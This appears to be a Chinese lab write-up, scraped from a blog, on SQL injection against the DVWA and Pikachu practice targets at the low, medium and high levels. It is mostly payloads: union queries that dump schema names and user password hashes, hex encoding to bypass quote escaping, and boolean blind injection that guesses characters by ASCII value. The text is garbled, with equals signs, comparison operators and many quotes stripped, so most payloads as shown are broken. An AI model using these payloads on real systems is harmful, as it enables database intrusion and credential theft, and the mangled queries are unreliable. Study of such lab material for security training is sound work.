DvwaPikachu-SQL注入-完整
SQL注入一 初级判断是否存在注入点1 or 11判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers#8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理二、中级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常数字型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa# 不行被转义id1 union select 1,group_concat(table_name) from information_schema.tables where table_schema0x64767761 # SubmitSubmit1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmitid3 union select 1,group_concat(column_name) from information_schema.columns where table_schema0x64767761 and table_name0x7573657273 # SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理三、高级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常字符型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理SQL-Blind 盲注原文链接DVWA——SQL盲注全等级_dvwa盲注-CSDN博客一、LOW:1. 输入 1 and 11 # 可以看到 正常执行2. 猜解开数据库长度1 and length(database())x #3.确定数据库名字的长度输入语句显示结果1’ and length(database())1 #不存在1’ and length(database())5 #存在说明数据库名字长度是小于5的1’ and length(database())4 #存在说明数据库名字长度为41 and length(database())4 # 说明数据库名字长度就是4个字符3.数据库长度ASCII查询对照表ASCII编码对照表_911查询猜测数据库名的第一个字符ASCII的取值范围由于是DVWA靶场所以合理猜测数据库名为dvwa如果是其他场景下需要不断修改数值缩小取值范围最终确定一个取值输入语句显示结果1’ and ascii(substr(database(),1,1))97#显示存在说明第一个字符是一个小写字母且不是a。1’ and ascii(substr(database(),1,1))100#显示存在说明第一个是d1’ and ascii(substr(database(),2,1))118#显示存在说明第二个是v1’ and ascii(substr(database(),3,1))119#显示存在说明第三个是w1’ and ascii(substr(database(),4,1))97#显示存在说明第四个是a1. 用aascii猜解数据库名 1 and ascii(substr(database(),1,1))100 # 由此确定第一位ascii是100对比ascii表ASCII码对照表-完整ASCII码表-我就查查询可得 为d第二个字母v,ascii值是1181 and ascii(substr(database(),2,1))118 #第三个字母 w,ascii值是1191 and ascii(substr(database(),3,1))119#第四个字母a,ascii值是971 and ascii(substr(database(),4,1))97#综上所述数据库名字就是dvwa;4. 获取表名先判断有多少个表输入语句显示结果1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2#不存在说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #存在猜想验证成功1 and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #证明有2个表5.确定dvwa数据库中表名的长度输入语句分布解析1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1PS:limit 结果编号从0开始返回结果数量3.计算当前连接数据库第1个表名的字符串长度值length( substr ((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的 sql语句 进行查询根据查询返回结果猜解表名称的长度值1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10 #输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10#不存在1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))8#存在说明dvwa第一个表长度为91’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))9#存在验证成功实际有2个表guestbook,users;同理可以对第二个表的长度进行猜测输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))5#存在dvwa第二个表长度为56.确定dvwa数据库中表的名字与确定数据库名字类似用到ascii()和substr()两个函数。substr(str,1,1)从str的第一个字符开始截取长度1 取str的第一个字符limit 0,10-查询结果的第一个1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。输入语句显示结果1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103#显示存在第一个表的第一个字符是g以此类推可以确定第一个表的名字是guestbook。guestbook中的第二个字母1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))117#第二个表users确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))117#存在第二个表的第一个字符是u以此类推可以确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))115#存在第二个表的第二个字符是s以此类推可以确定7.确定users表中的字段数目输入语句显示结果1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)4#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)9#不存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)7#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)8#存在所以users表中有8个字段8.确定users表中的8个字段长度输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7同理可以获取其他7个字段的长度9.确定users表中的8个字段名字由于表中的字段数目比较多长度比较长如果采用之前的按字符猜测会很耗时间。根据我们的需要判断users表中是否含有用户名和密码字段即可。根据经验猜测用户名和密码的字段名字如下用户名username/user_name/uname/u_name/user/…密码password/pass_word/pwd/pass/…猜用户名1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_nameusername)1 #显示不存在更换字段名再尝试发现user显示存在猜密码1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_namepassword)1 #显示存在综上可知users表中的用户名和密码字段分别为user和password。10.获取user和password的字段值password在存储的时候进行了MD5加密。同样先进行猜测碰撞如果不行再逐个筛选。1 and (select count(*) from users where useradmin)1 #1 and (select count(*) from users where useradmin and password5f4dcc3b5aa765d61d8327deb882cf99)1 #显示存在综上可知一组用户名-密码admin-password。二、Medium步骤和LOW相似不过变成数字型注入需要去掉1后面的单引号。使用burpsuite抓包修改id的值为注入语句即可。同时medium在源代码中对特殊符号进行了转义处理对于带有引号的字符串转换成16进制进行绕过。三、Highhigh级别会另外开启一个页面步骤类似Medium1. 随意选择一个数然后抓包1. 修改参数 1 and length(database())4 #根据布尔 盲注判断数据库名为41. 下面依旧使用sql语句进行查询步骤同上high1. 1 and 11 # 测试发现成功执行1. 盲注测试数据库名长度 1 and length(database())4 #1. 接下来的步骤同上impossible只能使用数字且设置了token 无漏洞

相关新闻

AI专著生成工具技术解析与应用指南

AI专著生成工具技术解析与应用指南

1. AI专著生成工具全景解析:从学术创作到商业写作的智能进化(开头部分自然引入主题,前100字内包含核心关键词) 最近两年,AI写作工具正在彻底改变专业内容生产的方式。作为长期从事学术出版的从业者,我亲眼见…

2026/10/13 13:37:49 阅读更多 →
Gateway网关:路由、拦截、鉴权、过滤全局控制

Gateway网关:路由、拦截、鉴权、过滤全局控制

Gateway网关:路由、拦截、鉴权、过滤全局控制微服务架构里,几十个服务各自暴露端口就像几十扇门同时敞开。网关就是那扇唯一的大门——所有请求都从这里进,统一鉴权、统一路由、统一限流。一、API网关的角色:微服务的门卫 在微服务…

2026/10/11 21:02:33 阅读更多 →
Sentinel熔断限流:容错、降级、热点防护

Sentinel熔断限流:容错、降级、热点防护

Sentinel熔断限流:容错、降级、热点防护微服务调用链就像多米诺骨牌,一个服务倒下,后面的跟着全躺。Sentinel 就是那个在关键位置挡住连锁反应的守门员。一、雪崩效应:为什么需要熔断限流 微服务架构下,服务之间存在大…

2026/10/11 21:02:42 阅读更多 →

最新新闻

UE5 C++ JSON读写:FJsonObject与FJsonValue完全解析

UE5 C++ JSON读写:FJsonObject与FJsonValue完全解析

最近在某个项目的存档模块里折腾 JSON 读写,UE5 的 C 侧 API 绕来绕去,最后发现核心就两个类:FJsonObject和FJsonValue。如果你也在跟教程学 UE5 C 的 JSON 部分,到了第 61-3 节这里刚好进入最绕的一段——类继承链、各种 Value 子…

2026/10/13 13:37:18 阅读更多 →
低代码平台定制化能力边界:从需求分级到选型落地

低代码平台定制化能力边界:从需求分级到选型落地

低代码/无代码平台这两年风头很猛,几乎每个做企业服务的团队都在聊。但落到实际选型时,大家心里其实都悬着一个问题:这种拖拖拽拽就能搭出来的系统,到底能不能扛住企业里那些“奇奇怪怪”的定制化需求?我接触过不少项目…

2026/10/13 13:37:18 阅读更多 →
智能体技能库实战:从函数堆砌到可编排技能体系

智能体技能库实战:从函数堆砌到可编排技能体系

那段时间我正好在做一个内部数据分析Agent,功能倒是不复杂,但技能函数越堆越多,从最初的十几个一路涨到八十多个。真正让我警醒的是一次线上失误:模型在众多工具里挑了一个相近但错误的函数去执行,把周报数据算成了残缺…

2026/10/13 13:37:18 阅读更多 →
数据复制实战:HDFS副本策略、机架感知与DistCp一致性校验

数据复制实战:HDFS副本策略、机架感知与DistCp一致性校验

做大数据这些年,我越来越确信一件事:分布式系统里“数据复制”才是那个平时看不见、出事全靠它的底层保命机制。节点掉盘、误删目录、磁盘静默损坏、跨集群迁移容灾,每一件都绕不开“复制”两个字。这篇文章想把数据复制的核心技术拆开讲清楚…

2026/10/13 13:37:18 阅读更多 →
CSAPP第九章精要:虚拟内存机制与malloc实现原理

CSAPP第九章精要:虚拟内存机制与malloc实现原理

1. 为什么学完CSAPP第九章,我反而更不敢写malloc了?刚带完一届某高校系统编程实训课,有个现象特别有意思:学生把《深入理解计算机系统》(CSAPP)第九章“虚拟存储器”从9.1读到9.5,笔记记得密密麻…

2026/10/13 13:37:18 阅读更多 →
入侵检测与入侵防御:IDS和IPS的区别、原理与部署实践

入侵检测与入侵防御:IDS和IPS的区别、原理与部署实践

入侵检测和入侵防御这两个概念,从名字上只差两个字,但真实网络里的差别相当大。很多刚接触安全建设的人,习惯把二者当成“功能差不多的同类设备”,结果通常到部署那一刻才反应过来:一个只能看,一个真的动手…

2026/10/13 13:36:17 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 14:48:49 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →